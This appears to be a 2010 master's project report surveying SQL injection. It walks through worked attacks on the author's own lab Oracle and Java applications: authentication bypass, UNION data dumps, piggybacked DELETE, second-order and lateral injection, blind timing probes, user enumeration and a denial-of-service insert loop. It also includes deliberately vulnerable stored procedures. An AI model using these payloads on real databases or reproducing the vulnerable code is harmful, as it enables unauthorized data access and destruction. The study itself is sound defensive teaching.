SQL INJECTION ATTACKS AND COUNTERMEASURES

Chunhui Song
B.S., University of Science and Technology of China, 2000
M.S., State University of New York at Albany, 2006

PROJECT

Submitted in partial satisfaction of
the requirements for the degree of

MASTER OF SCIENCE

in

COMPUTER SCIENCE

at

CALIFORNIA STATE UNIVERSITY, SACRAMENTO

SPRING
2010
Student: Chunhui Song

I certify that this student has met the requirements for format contained in the University format manual, and that this project is suitable for shelving in the Library and credit is to be awarded for the Project.

__________________________, Graduate Coordinator
Cui Zhang, Ph.D.                  Date

Department of Computer Science
Abstract

of

SQL INJECTION ATTACKS AND COUNTERMEASURES

by

Chunhui Song

SQL injection has become a predominant type of attacks that target web applications. It allows attackers to obtain unauthorized access to the back-end database by submitting malicious SQL query segments to change the intended application-generated SQL queries. Researchers have proposed various solutions to address SQL injection problems. However, many of them have limitations and often cannot address all kinds of injection problems. What’s more, new types of SQL injection attacks have arisen over the years. To better counter these attacks, identifying and understanding the types of SQL injections and existing countermeasures are very important. In this project, I presented a review of different types of SQL injections and illustrated how to use them to perform attacks. I also surveyed existing techniques against SQL injection attacks and analyzed their advantages and disadvantages. In addition, I identified techniques for building secure systems and applied them to my applications and database system, and illustrated how they were performed and the effect of them.

______________________, Committee Chair
Ying Jin, Ph.D.

_______________________
Date

iv
ACKNOWLEDGMENTS

First, I would like to thank my project advisor Professor Jin for providing guidance and continuous support through this entire process of project development, writing and editing. She has been always there to listen and to give advice.

I would like to thank my project second reader Professor Ouyang for taking time to read my project report and giving advice.

I am also grateful to my husband for his continuous support and encouragement.
# TABLE OF CONTENTS

<table>
<thead>
<tr>
<th>Acknowledgments</th>
<th>v</th>
</tr>
</thead>
<tbody>
<tr>
<td>List of Figures</td>
<td>vii</td>
</tr>
<tr>
<td>Chapter</td>
<td></td>
</tr>
<tr>
<td>1. INTRODUCTION</td>
<td>1</td>
</tr>
<tr>
<td>2. SQL INJECTION ATTACKS BY EXAMPLE</td>
<td>4</td>
</tr>
<tr>
<td>2.1 Tautology-based SQL Injection</td>
<td>6</td>
</tr>
<tr>
<td>2.2 Statement Injection</td>
<td>10</td>
</tr>
<tr>
<td>2.3 Injection in Stored Procedures</td>
<td>14</td>
</tr>
<tr>
<td>2.4 Second Order SQL Injection</td>
<td>18</td>
</tr>
<tr>
<td>2.5 Lateral SQL Injection</td>
<td>22</td>
</tr>
<tr>
<td>2.6 Fingerprinting and Enumeration</td>
<td>25</td>
</tr>
<tr>
<td>2.7 SQL Denial of Service Attacks</td>
<td>30</td>
</tr>
<tr>
<td>3. BUILDING SECURE APPLICATIONS AND DATABASE SYSTEMS</td>
<td>33</td>
</tr>
<tr>
<td>3.1 Secure Applications against SQL Injection Attacks</td>
<td>33</td>
</tr>
<tr>
<td>3.2 Secure an Oracle Database against SQL Injection Attacks</td>
<td>40</td>
</tr>
<tr>
<td>4. PROTECTING EXISTING SYSTEMS</td>
<td>51</td>
</tr>
<tr>
<td>4.1 Static Analysis Approach</td>
<td>52</td>
</tr>
<tr>
<td>4.2 Combining Static Analysis and Runtime Analysis</td>
<td>53</td>
</tr>
<tr>
<td>4.3 Runtime Analysis Techniques</td>
<td>55</td>
</tr>
<tr>
<td>4.4 Signature Based and Anomaly Based Intrusion Detection</td>
<td>60</td>
</tr>
<tr>
<td>4.5 Specification-based Approach</td>
<td>62</td>
</tr>
<tr>
<td>4.6 Fine-grained Access Control Approach</td>
<td>64</td>
</tr>
<tr>
<td>4.7 Protecting Stored Procedures against SQL Injection</td>
<td>68</td>
</tr>
<tr>
<td>5. CONCLUSION</td>
<td>70</td>
</tr>
<tr>
<td>Appendix A. Programs and Testing Results</td>
<td>71</td>
</tr>
<tr>
<td>Bibliography</td>
<td>84</td>
</tr>
<tr>
<td>Figure</td>
<td>Description</td>
</tr>
<tr>
<td>--------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>1.</td>
<td>Figure 1 Tables Used in the Project</td>
</tr>
<tr>
<td>2.</td>
<td>Figure 2 User Authentication Code</td>
</tr>
<tr>
<td>3.</td>
<td>Figure 3 An Example of a Tautology-based SQL Injection</td>
</tr>
<tr>
<td>4.</td>
<td>Figure 4 A Second Example of a Tautology-based SQL Injection</td>
</tr>
<tr>
<td>5.</td>
<td>Figure 5 An Example of a UNION Query Injection</td>
</tr>
<tr>
<td>6.</td>
<td>Figure 6 Java Code that Calls the Stored Procedure <code>update_emp</code></td>
</tr>
<tr>
<td>7.</td>
<td>Figure 7 The Stored Procedure <code>update_emp</code></td>
</tr>
<tr>
<td>8.</td>
<td>Figure 8 An Example of the Piggybacked SQL Injection</td>
</tr>
<tr>
<td>9.</td>
<td>Figure 9 Result of the Piggybacked SQL Injection</td>
</tr>
<tr>
<td>10.</td>
<td>Figure 10 An Example of an Attack against a Stored Procedure</td>
</tr>
<tr>
<td>11.</td>
<td>Figure 11 Result of the Attack against the Stored Procedure</td>
</tr>
<tr>
<td>12.</td>
<td>Figure 12 Code from the Program <code>second_order.java</code></td>
</tr>
<tr>
<td>13.</td>
<td>Figure 13 The Program Cannot Insert a Single Quote into the Table</td>
</tr>
<tr>
<td>14.</td>
<td>Figure 14 Insert a Single Quotation Mark Using Prepared Statement</td>
</tr>
<tr>
<td>15.</td>
<td>Figure 15 Execute the Program</td>
</tr>
<tr>
<td>16.</td>
<td>Figure 16 A Malicious Username Is Stored in the Table</td>
</tr>
<tr>
<td>17.</td>
<td>Figure 17 The Result of the Second-order Injection</td>
</tr>
<tr>
<td>18.</td>
<td>Figure 18 An Example of Lateral SQL Injection</td>
</tr>
<tr>
<td>19.</td>
<td>Figure 19 Fingerprinting Through Error Messages</td>
</tr>
<tr>
<td>20.</td>
<td>Figure 20 Test if a Parameter Is Vulnerable to SQL Injection</td>
</tr>
<tr>
<td>21.</td>
<td>Figure 21 Time-based Blind SQL Injection</td>
</tr>
<tr>
<td>22.</td>
<td>Figure 22 Fingerprinting: Find the Database Version</td>
</tr>
</tbody>
</table>
Chapter 1

INTRODUCTION

Nowadays, web applications are prevalent around the world. More and more companies and organizations use web applications to provide various services to users. Web applications receive users’ requests, interact with the back-end database, and return relevant data for users. The back-end database often contains confidential and sensitive information such as financial or medical data that interest attackers.

SQL injection is one of the major techniques attackers use to compromise a database. This type of attack exploits vulnerabilities existing in web applications or stored procedures in the back-end database server. It allows attackers to inject crafted malicious SQL query segments to change the intended effect of a SQL query, so that attackers can obtain unauthorized access to a database, read or modify data, make the data unavailable to other users, or even corrupt the database server. According to a survey report [1] released in 2009 by the IBM X-Force® research and development team, the number of SQL injection attacks has increased rapidly in recent years, and SQL injection has become the predominant type of attacks that target web applications. During the first half of the year of 2009, the average number of daily SQL injection attacks around the world is about 400,000 [1].

Web applications and their underlying databases require not only careful configuration and programming to assure security, but also effective protection mechanisms to prevent attacks. Researchers have proposed various solutions and techniques to address the SQL
Injection problems. However, there is no one solution that can guarantee complete safety. What’s more, SQL injection attacks have many types and variant forms, and new types of SQL injection have arisen over the years. Many current solutions often cannot address all of the problems. For example, many techniques proposed are based on the assumption that only the SQL statements that receive user input are vulnerable to SQL injection attacks. However, there is a new type of attack called Lateral SQL injection, which does not require a vulnerable SQL statement to have user input parameters. A comprehensive survey can help developers and researchers better understand the various forms of SQL injection attacks, as well as the strengths and weaknesses of excising countermeasures for the attacks.

This project presents a survey of SQL injection attacks and various techniques used to counter them. During the first phase of this project, I have researched different types of SQL injection attacks, and have built simple Java applications and Oracle database environment to illustrate how these SQL injection attacks can be performed. In the second phase of the project, I have searched and identified current existing approaches and techniques proposed by academic researchers and Oracle database vendors. I divided the existing solutions into two categories: techniques for building secure applications and database systems (e.g. defensive programming practices), and techniques for protecting an existing system (e.g. intrusion detection systems). I have analyzed these techniques and discussed their advantages and drawbacks. During this phase, I have also identified and applied the techniques for building secure systems to my applications and Oracle
database system, and have illustrated how they solved the problem of my SQL injection attack examples.
Chapter 2

SQL INJECTION ATTACKS BY EXAMPLE

SQL Injection is a method used by attackers to obtain unauthorized access to a database by providing malicious data that will change the intended effect of a SQL. Almost all SQL databases are potentially vulnerable to SQL injection attacks, including those currently most popular ones such as Oracle, MySQL, MS SQL Server, MS Access, and so on.

This project addresses the subject of SQL Injection in an Oracle database system environment. But for most of the techniques described in the project, people can find equivalents in other database environments.

This chapter will present different types of SQL injection attacks by examples. I have used Oracle database system version 11g for the project and Java programming language to develop applications that communicate with the Oracle database in a local system environment.

Figure 1 lists all the tables that I have used in the project.
SQL> select * from users;

<table>
<thead>
<tr>
<th>ID</th>
<th>LOGINNAME</th>
<th>PWD</th>
<th>EMAIL</th>
</tr>
</thead>
<tbody>
<tr>
<td>111</td>
<td>Bill_L</td>
<td>qqqqq</td>
<td><a href="mailto:bill@gmail.com">bill@gmail.com</a></td>
</tr>
<tr>
<td>222</td>
<td>Mary_T</td>
<td>wer235</td>
<td><a href="mailto:m333@gmail.com">m333@gmail.com</a></td>
</tr>
<tr>
<td>333</td>
<td>Bob_M</td>
<td>342&amp;&amp;</td>
<td><a href="mailto:bm@gmail.com">bm@gmail.com</a></td>
</tr>
</tbody>
</table>

Elapsed: 00:00:00.20

SQL> select * from employee;

<table>
<thead>
<tr>
<th>ID</th>
<th>FNAME</th>
<th>LNAME</th>
<th>POSITION_ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>111</td>
<td>Bill</td>
<td>Lee</td>
<td>1000</td>
</tr>
<tr>
<td>222</td>
<td>Mary</td>
<td>Taylor</td>
<td>1656</td>
</tr>
<tr>
<td>333</td>
<td>Bob</td>
<td>Martin</td>
<td>1151</td>
</tr>
</tbody>
</table>

Elapsed: 00:00:00.21

SQL> select * from salary;

<table>
<thead>
<tr>
<th>POSITION_ID</th>
<th>TITLE</th>
<th>SAL</th>
</tr>
</thead>
<tbody>
<tr>
<td>1151</td>
<td>Manager</td>
<td>90000</td>
</tr>
<tr>
<td>1656</td>
<td>DBA</td>
<td>82000</td>
</tr>
<tr>
<td>1000</td>
<td>Developer I</td>
<td>67000</td>
</tr>
<tr>
<td>1001</td>
<td>Developer II</td>
<td>76000</td>
</tr>
<tr>
<td>1002</td>
<td>Developer III</td>
<td>86000</td>
</tr>
</tbody>
</table>

Elapsed: 00:00:00.28

SQL> select * from orders;

<table>
<thead>
<tr>
<th>OID</th>
<th>ITEM</th>
<th>PRICE</th>
<th>ODATE</th>
</tr>
</thead>
<tbody>
<tr>
<td>A0001</td>
<td>6666</td>
<td>20</td>
<td>09-25-2009</td>
</tr>
<tr>
<td>A0011</td>
<td>6666</td>
<td>30</td>
<td>03-20-2010</td>
</tr>
<tr>
<td>A0011</td>
<td>7777</td>
<td>40</td>
<td>03-20-2010</td>
</tr>
</tbody>
</table>

Elapsed: 00:00:00.21

Figure 1: Tables Used in the Project
2.1 Tautology-based SQL Injection

A SQL tautology is a statement that is always true. Tautology-based SQL injection attacks are usually used to bypass user authentication or to retrieve unauthorized data by inserting a tautology into a conditional statement (e.g. the WHERE clause of a SQL query) [2, 3]. A typical SQL tautology has the form “or <comparison expression>”, where the comparison expression uses one or more relational operators to compare operands and generate an always true condition.

In order to provide attack examples, I developed a Java application that uses JDBC API 4.0 to connect to the Oracle server. The application is used to authenticate a user. Figure 2 shows the functional part of the program for the authentication. The full code can be found in Appendix A.1.
The user account information is stored in the table USERS. As the code describes, a user is required to enter a login name and a password, which are used to form a SQL query. The application then connects to the underlying database. If the login name and the password are found in the table USERS, the user will be authenticated and his/her record will be retrieved and displayed. The application also displays the query for the illustration.
purpose. This application is vulnerable to SQL injection attacks. Figure 3 shows both the legal and illegal use of the application.

A legitimate user enters his login name “Bill_L” and password “qqqqq”. The application authenticates him. However, an attacker can make a tautology-based SQL injection by entering “' or 1=1 -- “ as the login name and any string as the password, then the application generates the following query:

Select * from users where loginname = ‘ ’ or 1=1 -- ‘ and pwd= ‘xxxxx’

The single quote entered by the attacker closes the loginname field and the double dashes comments out everything after the dashes. Therefore, the query retrieves all the records in the USERS table and returns them back to the attacker.

Figure 3: An Example of a Tautology-based SQL Injection

The “or 1=1” is the most commonly known tautology. It could be easily detected by signature-based intrusion detection systems because the systems may know this type of intrusion patterns. To evade the intrusion detection system, attackers could construct
more complicated tautologies. For example, they use some other relational operators such as “<”, “>”, “between”, and “in”. Figure 4 shows another example of SQL injection. The attacker enters ‘ ‘ or loginnname between ‘A’ and ‘Z “ as the password. The query generated is

Select * from users where loginnname= 'anyname' and pwd= ' ' or loginnname between 'A' and 'Z'

Therefore, all the records are still retrieved from the USERS table. The “or loginnname between ‘A’ and ‘Z “ can be viewed as another type of tautology.

Figure 4: A Second Example of a Tautology-based SQL Injection

The problem can be handled by using prepared statements. The example will be shown in Chapter 3.
2.2 Statement Injection

Statement-injection attacks, as the name implies, are to insert additional statements into the original SQL statement. This can be done by inserting either a UNION query or a statement of the form ‘ ; <SQL statement>’ into a vulnerable parameter.

Figure 5 shows a UNION query injection example. The attacker enters ‘ ‘ union select * from employee -- ‘ as the login name, which generates the query:

```
Select * from users where loginnname = ' ' union select * from employee -- ' and pwd = 'anypwd'
```

The two dashes comments out the rest of the text. Therefore, the query becomes the union of two SELECT queries. The first SELECT query returns a null set because there is no matching record in the table USERS. The second query returns all the data from the table EMPLOYEE. As the result displays, although the labels indicate that each row of the result contains the id, the login name, the password and the email, the data are actually from the table EMPLOYEE. Therefore, the data displayed in each row are the id, first name, last name and the employee’s position id.

```
E:\javapro\java_user_authen
Please enter your login name: ' ' union select * from employee --
Please enter your password: anypwd
Connected to the Oracle database
sql: select * from users where loginnname=' ' union select * from employee -- ' and pwd='anypwd'
<table>
<thead>
<tr>
<th>id</th>
<th>loginnname</th>
<th>pwd</th>
<th>email</th>
</tr>
</thead>
<tbody>
<tr>
<td>111</td>
<td>Bill</td>
<td>Lee</td>
<td>1000</td>
</tr>
<tr>
<td>222</td>
<td>Mary</td>
<td>Taylor</td>
<td>1656</td>
</tr>
<tr>
<td>333</td>
<td>Bob</td>
<td>Martin</td>
<td>1151</td>
</tr>
</tbody>
</table>
```

Figure 5: An Example of a UNION Query Injection
Another type of statement injection has the form “; <SQL statement>”, which is called “Piggybacked query” in [3]. It is a much more powerful SQL injection attack than the UNION query attack because attackers can insert DML or DDL queries besides the SELECT query. However, Oracle does not allow “;” to be injected into a single PL/SQL statement. But this type of injection is allowed in PL/SQL blocks [4].

Figure 6 shows the Java code of an application that is used to update an employee’s position id in the EMPLOYEE table. The full code is provided in Appendix A.2. The application invokes a PL/SQL stored procedure called update_emp, which is shown in figure 7.

```java
String sql="{call update_emp(?,:)}";
CallableStatement cstmt = conn.prepareCall(sql);
cstmt.setString(1,pid);
cstmt.setString(2,eid);
cstmt.execute();
cstmt.close();
conn.close();
```

Figure 6: Java Code that Calls the Stored Procedure update_emp

The stored procedure in figure 7 receives the value of two parameters eid (employee id) and pid (position id) and executes an UPDATE statement.
CREATE OR REPLACE PROCEDURE update_emp (pid IN varchar2, eid IN varchar2)
IS
stmt varchar2(4000);
BEGIN
stmt:='begin
    update employee set position_id=''' || pid || ''' where id= ''' || eid || ''';
END;';
    DBMS_OUTPUT.PUT_LINE('stmt: ' || stmt);
EXECUTE IMMEDIATE stmt;
END;
/
show errors

Figure 7: The Stored Procedure update_emp

A hacker can conduct statement injection attacks by entering, for example, the text “111’; DELETE FROM orders WHERE oid='A0001 ” into the employee’s id field, as shown in figure 8.

Figure 8: An Example of the Piggybacked SQL Injection

After the stored procedure is invoked by the Java application, it generates the following query:

Update employee set position_id = ‘8888’ where id = '111' ; DELETE FROM orders WHERE oid = 'A0001’
The execution of the query updates the table EMPLOYEE, and then deletes the row with the oid “A0001” from the table ORDERS. Figure 9 shows the data stored in the table ORDERS before and after the application updates the table EMPLOYEE.

```
SQL> select * from orders;
OID    ITEM    PRICE  ODATE
------- ------- -------- -------
A0001   6666    20 09-25-2009
A0011   6666    30 03-20-2010
A0011   7777    40 03-20-2010
Elapsed: 00:00:00.23
```

```
SQL> select * from orders;
OID    ITEM    PRICE  ODATE
------- ------- -------- -------
A0011   6666    30 03-20-2010
A0011   7777    40 03-20-2010
Elapsed: 00:00:00.20
```

Figure 9: Result of the Piggybacked SQL Injection

As the above example illustrates, a Piggybacked injection can be very harmful to a database system if it has been launched successfully. Attackers can try various combinations of SQL queries such as “DROP TABLE”, “UPDATE”, “INSERT”, and “SHUTDOWN” to cause many problems to the victim system.
2.3 Injection in Stored Procedures

In the example of Piggybacked injection, the attack actually targets the vulnerability in a stored procedure. Although stored procedures are often recommended as one of the countermeasures against SQL injection, they could also be vulnerable to SQL injection attacks [3].

An example of a vulnerable stored procedure is the one that uses dynamic SQL. Unlike a static SQL whose text is compile-time-fixed, the full text of a dynamic SQL statement is unknown at compile time. For example, at compile time, some parts of the dynamic SQL statement (e.g., WHERE clauses and identifiers such as table names and column names) are unknown and need user input to form the full SQL query at run time. A native dynamic SQL is built by concatenating strings and user inputs. For example, a dynamic SQL that can display all the data in a table can be written in PL/SQL as

```sql
sql CONSTANT VARCHAR2(4000) := 'select * from ' || table_name ;
```

It is recommended to use static SQL whenever it is possible for database security purpose. However, dynamic SQL has its advantages. It is more flexible than static SQL. When the full text of a SQL statement is unknown at compile time and depends on user input at run time, or when you want to execute SQLs that are not supported as static SQL, you have to use dynamic SQL [5].

Figure 10 shows the execution result of the PL/SQL program `show_email.sql`. The PL/SQL program creates a procedure `show_email`, which is to display the user’s email to an authenticated user. The functionality is similar to the user authentication application
introduced in section 2.1. The stored procedure uses dynamic SQL. The dynamic statement is built by concatenating hard-coded text and two user inputs.

As shown in Figure 10, the first anonymous block calls the stored procedure by passing a legitimate user’s name and password as parameters and the procedure returns back the user’s email. The second anonymous block exploits the vulnerability of the stored procedure by passing the text “xxx ” or loginname="Mary_T" -- “ to the login_name parameter. The SQL statement generated at runtime is:

Select email from users where loginname='xxx ' or loginname=' Mary_T ' -- ' and pwd='xxx'

Therefore, the email of the user “Mary_T” is displayed.
SQL> CREATE OR REPLACE PROCEDURE show_email
2     (login_name IN varchar2, password IN varchar2, email OUT varchar2)
3     IS
4     stmt varchar2(4000);
5     BEGIN
6     stmt:='select email from users where loginname='''
7     ||login_name
8     ||''and pwd='''
9     ||password
10     ||'';
11 DBMS_OUTPUT.PUT_LINE('stmt: '|| stmt);
12 EXECUTE IMMEDIATE stmt INTO email;
13 DBMS_OUTPUT.PUT_LINE('The email is ' ||email);
14 end;
15 /
Procedure created.
SQL> show errors
No errors.
SQL> SET SERVEROUTPUT ON;
SQL> --example of a normal use case
SQL> DECLARE
2     email varchar2(2000);
3     BEGIN
4     show_email('Bill_L','qqqqq',email);
5     END;
6  /
stmt: select email from users where loginname='Bill_L'and pwd='qqqqq'
The email is bill@gmail.com
PL/SQL procedure successfully completed.
SQL> show errors
No errors.
SQL> --example of a SQL Injection
SQL> --The attacker only knows Mary's login name. But he can still
SQL> --get Mary's email without knowing Mary's password.
SQL> DECLARE
2     email varchar2(2000);
3     BEGIN
4     show_email('xxx '' or loginname=''Mary_T''-- ','xxx',email);
5     END;
6  /
stmt: select email from users where loginname='xxx ' or loginname='Mary_T'-- ' and pwd='xxx'
The email is m333@gmail.com
PL/SQL procedure successfully completed.
SQL> show errors
No errors.

Figure 10: An Example of an Attack against a Stored Procedure
I also created a Java program that calls the procedure `show_email`. It generates the same result as shown in Figure 11. Appendix A.3 provides the code for this Java program.

![Image of console output showing the result of running a Java program that calls a stored procedure with input and output]

Figure 11: Result of the Attack against the Stored Procedure
2.4 Second Order SQL Injection

The previous examples all conduct attacks against the target system immediately after the injected malicious text arrives at the system. These are called first order SQL injection attacks. There is a different type of SQL injection attacks called second order SQL injection. The attack and the SQL injection do not associate with each other in real time. The malicious user inputs are first stored in a system and then wait for being used by an application in the future [3, 6, 7].

[3] shows a classic example of a second order injection attack. In order to get the user admin’s password, an attacker can first register a user account with the system as

Username: admin ' --

Password: anypassword

Suppose there is an application that can change a user’s password by running the following SQL command:

```sql
sql = "update users set password = ' " + new_password + "' where username = ' " + username + "' and password = ' " + old_password + "' "
```

Then the attacker can use this application to change his password. He enters his username “admin’--“ and his password as well as the new password, the SQL statement generated by the application will be:

```sql
update users set password = 'new_pass' where username = ' admin ' -- ' and password = 'old_pass'
```
Therefore, the execution of this SQL statement will change the admin’s password to the
value provided by the attacker.

An easy solution to the problem is to prohibit such potential dangerous user input (e.g. a
string with an individual single quotation mark). But this can cause problems when a
single quote is necessary, for example, a table of book list may contain a book with title

In order to repeat the previous example in an Oracle environment, I tried to insert the
value “admin ‘ --” into the table USERS through JDBC. The program is in Appendix A.4
(part of the code is shown in Figure 12).

```java
DriverManager.registerDriver (new oracle.jdbc.driver.OracleDriver());
Connection conn = DriverManager.getConnection(url,username,password);
System.out.println ("Connected to the Oracle database");
Statement stmt = conn.createStatement();
String insertsql = "insert into users values ('567','admin'--','1234','fake@email.com')";
stmt.executeUpdate(insertsql);
stmt.close();
conn.close();
```

Figure 12: Code from the Program `second_order.java`

However, the “ORA-00917: missing comma” exception was raised as shown in Figure 13.

```
E:\javapro\java second_order
Connected to the Oracle database
java.sql.SQLException: ORA-00917: missing comma
```

Figure 13: The Program Cannot Insert a Single Quote into the Table
Then I made a modification to the program. This time I used prepared statement instead of the regular statement as shown in Figure 14 (See Appendix A.5 for the program).

```java
String insertsql = "insert into users values (?, ?, ?, ?)";
PreparedStatement pstmt = conn.prepareStatement(insertsql);
pstmt.setString(1, "567");
pstmt.setString(2, "admin'--");
pstmt.setString(3, "1234");
pstmt.setString(4, "fake@email.com");
pstmt.executeUpdate();
pstmt.close();
conn.close();
```

Figure 14: Insert a Single Quotation Mark Using Prepared Statement

The execution of the program returned no error messages as shown in Figure 15. The figure shows that Oracle allows values with a single quotation mark to enter the database by using prepared statement.

```bash
E:\javapro>javac second_order_prepare.java
E:\javapro>java second_order_prepare
Connected to the Oracle database
```

Figure 15: Execute the Program

Then I checked the table USERS in the SQL command line. Figure 16 shows after the execution of the program that uses prepared statement to insert a record, the user account with username “admin’-- “ appeared in the table USERS.
Figure 16: A Malicious Username Is Stored in the Table USERS

After the malicious value is seeded in the table, I can use it to perform an attack. Figure 17 shows the example that an attacker uses the program *update_users.java* (provided in Appendix A.6) to change his password from “1234” to the new password “newnew”. Then by running the program *user_authen.java*, we can see the password of the user “admin” has been changed to “newnew”.

![SQL query results](image)

Figure 17: The Result of the Second-order Injection
2.5 Lateral SQL Injection

Lateral SQL injection is a new type of SQL injection attack. Litchfield [8] first introduced it in 2008. In the past, known SQL injection only occurred at places that took user inputs. Lateral SQL injection does not require a vulnerable SQL statement to have user input parameters. It targets the SQL statements that use DATE or NUMBER data types. This type of attack is conducted by converting data format using NLS session parameters such as NLS_DATE_FORMAT or NLS_NUMERIC_CHARACTERS [5].

To illustrate Lateral SQL injection attack, I created a procedure called sales, which is to retrieve the total sales of orders placed in the past 30 days. The procedure executes the following SQL command:

```
select sum(price) from orders where odate+30>’sysdate’
```

The odate column stores the date when the order is placed. The sysdate gives the current date value. Figure 18 shows two examples of using this procedure. The first is a normal use without SQL injection. It returns the correct result that is 70 dollars. The second example illustrates the Lateral SQL injection attack. The attacker first changes the date format to “ ’ or oid='A0001' -- “ by executing the command

```
ALTER SESSION SET NLS_DATE_FORMAT=’ ’ or oid=''A0001'' -- ';
```

Then the SQL query generated will be:

```
select sum(price) from orders where odate+30>'' or oid='A0001'--'
```

Therefore, this time the result of total sales is 20 dollars.
SQL> select sysdate from dual;
SYSDATE
----------
03-25-2010
SQL> select * from orders;
OID ITEM PRICE ODATE
----- ------- ----------- --------
A0001 6666 20 09-25-2009
A0011 6666 30 03-20-2010
A0011 7777 40 03-20-2010
SQL> --The procedure is used to retrieve total sales in the last 30 days
SQL> CREATE OR REPLACE PROCEDURE sales
2     (s OUT number)
3     IS
4     stmt CONSTANT VARCHAR2(4000) :=
5         'select sum(price) from orders where odate+30>''||sysdate||''';
6     BEGIN
7     DBMS_OUTPUT.PUT_LINE('stmt: ' || stmt);
8     EXECUTE IMMEDIATE stmt into s;
9     DBMS_OUTPUT.PUT_LINE('total sales:'||s);
10    END;
11 /
Procedure created.
SQL> show errors
No errors.
SQL> DECLARE  s number;
2  BEGIN  sales(s);
3  END;
4  /
stmt: select sum(price) from orders where odate+30>'03-25-2010'
total sales:70
PL/SQL procedure successfully completed.
SQL> ALTER SESSION SET NLS_DATE_FORMAT=''' or oid=''A0001''--'';
Session altered.
SQL> select sysdate from dual;
SYSDATE
--------------
' or oid='A0001''--'
SQL> DECLARE  s number;
2  BEGIN  sales(s);
3  END;
4  /
stmt: select sum(price) from orders where odate+30='' or oid='A0001''--''
total sales:20
PL/SQL procedure successfully completed.

Figure 18: An Example of Lateral SQL Injection
Lateral SQL injection is dangerous because this type of attack does not need user input parameters so that the vulnerable procedure is often not audited. What’s more, attackers even do not need to obtain the ALTER SESSION privilege to be able to launch a Lateral SQL injection attack. Litchfield demonstrated it on an Oracle 11.1.0.6.0 server in an article on his weblog. Anyone who was able to connect to the server had the CREATE SESSION privilege and was allowed to change the NLS_DATE_FORMAT [9].
2.6 Fingerprinting and Enumeration

The previous examples show how SQL injection attacks can bypass user authentication, gain access to unauthorized data, and modify the underlying database. To be able to launch those SQL injections successfully, attackers usually need to first gain some knowledge about the target system, finding the database type and structure, usernames, table schemas, query structure, user privilege levels, and so on. The information gathering process is called fingerprinting and enumeration.

One way to do fingerprinting is to submit some specifically crafted user inputs and then learn from the error messages returned by the target system. Usually, attackers can find useful information through these error messages. Figure 19 shows how an attacker tries to extract information from error messages. He appends the text “’ and ‘1’=’2” to his password. Then he can learn from the error message that the program uses a procedure or function called `show_email`, which is in the SCOTT schema.

```
E:\javapro>java procedure_email
Please enter your login name:
Bill_L
Please enter your password
qqqqq' and '1'='2
Connected to the Oracle database
java.sql.SQLException: ORA-01403: no data found
ORA-06512: at "SCOTT.SHOW_EMAIL", line 15
ORA-06512: at line 1
```

Figure 19: Fingerprinting Through Error Messages

The information gathering process is very important not only for attackers but also for penetration testers and system managers. By fingerprinting a system, system managers can get to know what information attackers could possibly obtain and what potential
vulnerabilities the system has so that they can try to prevent important information from leaking out and fix potential problems. For example, they can configure the error reporting so that error messages will not be given away to outside users.

The information extraction through error messages is one way to do fingerprinting. If an application has been configured and does not display error messages, fingerprinting can still be done by “blind SQL injection” [2, 3].

For example, attackers can try inserting “and <true condition>” to a parameter to find if the point is vulnerable to SQL injection attacks. In the example shown in Figure 20, the attacker tests the application user_authen by adding “’ and ‘1’ = ‘1 “ to the password field. The result shows the application still displays the same result as the row displayed in the normal use case. This means the password parameter is vulnerable to SQL injection. If the attacker injects “’ and ‘1’ = ‘9 “, the result only shows “Login failed”, but there is no error messages explaining the reason. Therefore, in this case, attackers have to use blind SQL injection techniques.
After finding the vulnerable parameters, the attacker can then design various conditions that he wants to know if they are true or false and inject them to the vulnerable parameters to test them. If the application behaves normally, that means the condition is evaluated to be true. Otherwise, it is false. By asking an application true/false questions, a lot of useful information about the system and the database can be extracted by attackers. Therefore, blind SQL injection can fingerprint a target system without the help of error messages.

Another type of blind SQL injection techniques is time-based. An attacker can design a conditional statement using a time delay function in a branch to cause the execution of that branch last a predefined amount of time. The attacker can get to know if a condition is true or false by observing the time delays. As Figure 21 shows, when the attacker
injects “if 1=1 then dbms_lock.sleep(5)”, the execution of the application lasts 5 seconds because the condition 1=1 is true. When the attacker injects “if 1=2 then dbms_lock.sleep(5)”, there is no delay because the condition is false. These simple conditions such as “1=1” are just used for illustration purpose. In a real attack, hackers would ask useful questions instead of “if 1=1 or not”. The program used in this example is in Appendix A.7.

However, Blind injection is usually time consuming and difficult because attackers have to keep guessing and trying many queries in order to extract information [2].

![Figure 21: Time-based Blind SQL Injection](image)

Fingerprinting and enumeration can be conducted in other ways as long as attackers can find useful information about the system. Figure 22 and 23 show examples of using UNION query injection to find the database version information and existing usernames [10].
Figure 22: Fingerprinting: Find the Database Version

E:\javapro>java procedure_email
Please enter your login name:
' union select banner from v$version where rownum=1--
Please enter your password.
da
Connected to the Oracle database
The email is: Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production

Figure 23: Fingerprinting: Find Usernames

E:\javapro>java procedure_email
Please enter your login name:
' union select sys.stragg (distinct username||chr(32)) from all_users--
Please enter your password.
jk1
Connected to the Oracle database
The email is: ANONYMOUS APEX_PUBLIC_USER BI CIXSYS DBSNMP DIP EXFSYS FLOWS_03000
 FLOWS_FILES HR IX MDDATA MDSYS MGMT_VIEW OE OLAPSYS ORACLE_OCM ORDPUGINS ORDSYS
 OUTLN OWSYS PM SCOTT SH SI_INFORMIN_SCHEMA SPATIAL_GSW_ADMIN_USR SPATIAL_UFS_ADMIN_USR SYS SYSMAN SYSTEM TSMSYS WIPROXY WMSYS WK_TEST WMSYS XDB XS$NULL
2.7 SQL Denial of Service Attacks

Attackers can also use SQL injection to perform denial of service (DoS) attacks. A SQL injection DoS is to overload a target system by submitting queries that would consume a large amount of system resources so that the system is unable to provide normal services to its users. To illustrate a SQL denial of service attack, I created a table called `bigtab_1`.

```
cREATE TABLE bigtab_1 (id NUMBER, c1 VARCHAR2(10), c2 VARCHAR2(10), c3 VARCHAR2(50) );
```

Assume an attacker finds the table name and column names by fingerprinting the database. She can then exploit a vulnerable application to launch a denial of service attack by inserting the following PL/SQL block:

```
declare
  n NUMBER:=1;
begin
  -- Insert rows into the table
  while (n <= 1000000)
  loop
    INSERT INTO bigtab_1
    SELECT n, dbms_random.string('L',10), dbms_random.string('L',10), dbms_random.string('L',50) FROM dual;
    COMMIT;
    n:=n+1;
  end loop;
end;
```

This piece of code inserts one million of rows into the table `bigtab_1`. As shown in Figure 24, it takes more than 5 minutes to execute this query.
Figure 24: SQL Injection Denial of Service Attack

